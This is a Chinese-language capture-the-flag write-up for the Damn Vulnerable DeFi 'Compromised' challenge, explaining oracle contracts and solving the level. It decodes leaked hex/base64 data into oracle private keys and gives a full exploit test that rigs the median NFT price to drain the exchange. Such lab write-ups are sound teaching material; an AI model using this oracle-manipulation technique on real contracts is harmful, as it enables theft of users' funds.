Defi黑客系列：Damn Vulnerable DeFi (七) - Compromised

题目链接：https://www.damnvulnerabledefi.xyz/challenges/7.html

题目描述：

在浏览 DeFi 项目时，会从服务器收到的一些奇怪的数据

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

现在有一家链上交易所正在出售名为 “DVNFT” 的收藏品，现在每件售价 999 ETH。价格来自于链上预言机，并且价格由 0xA73209FB1a42495120166736362A1DfA9F95A105、0xe92401A4d3af5E446d93D11EEc806b1462b39D15 和 0x81A5D6E50C214044bE44cA0CB057fe119097850c 提供。

现在你的账户有 0.1 ETH，你需要窃取交易所中所有可用的 ETH。

在开始之前，先简单介绍下预言机 oracle 的概念。

预言机是获取，验证和传输存储在链下的信息到运行在区块链上的智能合约的应用程序。简单来说，就是将现实生活中的数据，例如天气信息、身份证信息、送货地址等信息存储到区块链上。

在 web2 的世界中，数据可以通过 http 请求获得。而在区块链中，要想获得现实世界中的数据，需先将其存储在区块链网络中的智能合约中，而后其他智能合约通过调用存储了数据的合约，即可以获取数据。

接下来看下该题的智能合约的代码

Exchange.sol 交易所合约

TrustfulOracle.sol 预言机合约

TrustfulOracleInitializer.sol 预言机合约初始化器

交易所合约

Exchange.sol

Copy
contract Exchange is ReentrancyGuard {
using Address for address payable;

// NFT token
DamnValuableNFT public immutable token;
// 预言机合约
TrustfulOracle public immutable oracle;

event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);

constructor(address oracleAddress) payable {
token = new DamnValuableNFT();
oracle = TrustfulOracle(oracleAddress);
}

// 购买NFT
function buyOne() external payable nonReentrant returns (uint256) {
// 获取支付的金额
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");

// 从预言机合约中获取中位数价格
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());

// 要求支付的金额不小于当前价格
require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");

// 铸造一个 NFT 发送给 msg.sender
uint256 tokenId = token.safeMint(msg.sender);

// 找零, 将支付多余的金额还给 msg.sender
payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);

emit TokenBought(msg.sender, tokenId, currentPriceInWei);

return tokenId;
}

// 出售 NFT
function sellOne(uint256 tokenId) external nonReentrant {
// 确认调用者是持有人
require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
// 确保出售的NFT已经授权给该合约
require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");

// 从预言机合约中获取中位数价格
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
// 确保该合约的余额不小于当前价格
require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");

// 将 NFT 从 msg.sender 转移到该合约
token.transferFrom(msg.sender, address(this), tokenId);

// 销毁 tokenId 对应的NFT
token.burn(tokenId);

// 从合约付款给 msg.sender
payable(msg.sender).sendValue(currentPriceInWei);

emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}

receive() external payable {}
}

交易所合约就两个功能

购买 NFT

从预言机合约中获取价格

铸造 NFT 给购买人

找零

出售 NFT：将持有的 NFT 的出售给该合约

从预言机合约中获取价格

将持有人持有的 NFT 转给交易所合约

销毁持有人持有的 NFT

交易所合约转账给持有人

预言机合约

TrustfulOracle.sol

Copy
contract TrustfulOracle is AccessControlEnumerable {

// 定义两种角色
// INITIALIZER_ROLE 可以设置初始价格，并且只能调用一次
// 只有 TRUSTED_SOURCE_ROLE 可以设置价格
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");

// 记录价格: 由哪个地址设置的哪个token价格是多少
mapping(address => mapping (string => uint256)) private pricesBySource;

modifier onlyTrustedSource() {
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
}

modifier onlyInitializer() {
require(hasRole(INITIALIZER_ROLE, msg.sender));
_;
}

event UpdatedPrice(
address indexed source,
string indexed symbol,
uint256 oldPrice,
uint256 newPrice
);

constructor(address[] memory sources, bool enableInitialization) {
require(sources.length > 0);
// 分别给 sources 赋予 TRUSTED_SOURCE_ROLE
for(uint256 i = 0; i < sources.length; i++) {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
}

// 给 msg.sender 赋予 INITIALIZER_ROLE
if (enableInitialization) {
_setupRole(INITIALIZER_ROLE, msg.sender);
}
}

// 设置初始价格, 只会调用一次，只有 INITIALIZER_ROLE 可以调用
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);

// 设置价格
for(uint256 i = 0; i < sources.length; i++) {
_setPrice(sources[i], symbols[i], prices[i]);
}
// 取消 msg.sender 的 INITIALIZER_ROLE 权限
renounceRole(INITIALIZER_ROLE, msg.sender);
}

// 设置 token 的价格，只有 TRUSTED_SOURCE_ROLE 角色可以设置价格
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}

// 获取中位数价格
function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}

// 获取某个 token 所有的价格列表
function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
// 获取 TRUSTED_SOURCE_ROLE 角色有多少
uint256 numberOfSources = getNumberOfSources();
// 定义定长数组 存储价格列表
uint256[] memory prices = new uint256[](numberOfSources);

// 遍历 TRUSTED_SOURCE_ROLE 角色下的所有地址
for (uint256 i = 0; i < numberOfSources; i++) {
// 获取 source
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
// 获取价格
prices[i] = getPriceBySource(symbol, source);
}
return prices;
}

// 获取价格
function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return pricesBySource[source][symbol];
}

// 获取 TRUSTED_SOURCE_ROLE 角色有多少地址
function getNumberOfSources() public view returns (uint256) {
return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
}

// 设置价格 更新 pricesBySource 变量
function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = pricesBySource[source][symbol];
pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}

// 计算中位数价格
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
// 获取 TRUSTED_SOURCE_ROLE 角色有多少地址
// 遍历这些角色，获取价格列表
// 对价格排序
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

// 计算中位数价格，如果是列表长度是偶数，则计算中间的两数的平均值，奇数则取中间值
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}

// 使用 选择排序 对价格列表进行排序
function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {
for (uint256 i = 0; i < arrayOfNumbers.length; i++) {
for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {
if (arrayOfNumbers[i] > arrayOfNumbers[j]) {
uint256 tmp = arrayOfNumbers[i];
arrayOfNumbers[i] = arrayOfNumbers[j];
arrayOfNumbers[j] = tmp;
}
}
}
return arrayOfNumbers;
}
}

预言机合约虽然代码量较多，但核心就是允许多个地址设置 token 的价格，并且提供了获取价格中位数的功能。

从合约的源码上看，似乎并没有漏洞。但是，还记得从服务器上接收到的奇怪数据吗，这段数据有没有可能是私钥呢。

写个脚本尝试通过私钥查看账号地址

Copy
const ethers = require('ethers')

const getPK = key => {
const keyStr = key.split(' ').join('')
const base64 = Buffer.from(keyStr, 'hex').toString('utf-8')
return Buffer.from(base64, 'base64').toString('utf-8')
}
const pk1 = getPK('4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35')

const pk2 = getPK('4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34')

// pk1: 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
// pk2: 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

const wallet1 = new ethers.Wallet(pk1)
const wallet2 = new ethers.Wallet(pk2)
console.log(wallet1.address)
// 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
console.log(wallet2.address)
// 0x81A5D6E50C214044bE44cA0CB057fe119097850c

得到的这两个地址正好是提供价格的地址。所以攻击步骤如下

使用可修改价格的账户地址修改价格为 0

使用攻击者的账户购买 NFT

修改价格为合约账户余额

使用攻击者的账户卖出 NFT

恢复初始价格

测试脚本如下

Copy
it('Exploit', async function () {
const pk1 = '0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9'
const pk2 = '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48'
const wallet1 = new ethers.Wallet(pk1, ethers.provider)
const wallet2 = new ethers.Wallet(pk2, ethers.provider)

// 修改价格为0
await this.oracle.connect(wallet1).postPrice('DVNFT', 0)
await this.oracle.connect(wallet2).postPrice('DVNFT', 0)

// 购买NFT
await this.exchange.connect(attacker).buyOne({ value: 1 })
const filter = this.exchange.filters.TokenBought(attacker.address)
const event = (await this.exchange.queryFilter(filter)).pop()
const tokenId = event.args[1]

// 设置价格为合约余额
await this.oracle.connect(wallet1).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)
await this.oracle.connect(wallet2).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)

// 授权给交易所合约
await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId)
// 出售NFT
await this.exchange.connect(attacker).sellOne(tokenId)

// 设置初始价格
await this.oracle.connect(wallet1).postPrice('DVNFT', INITIAL_NFT_PRICE)
await this.oracle.connect(wallet2).postPrice('DVNFT', INITIAL_NFT_PRICE)
})

最后执行 yarn compromised 测试通过！

完整代码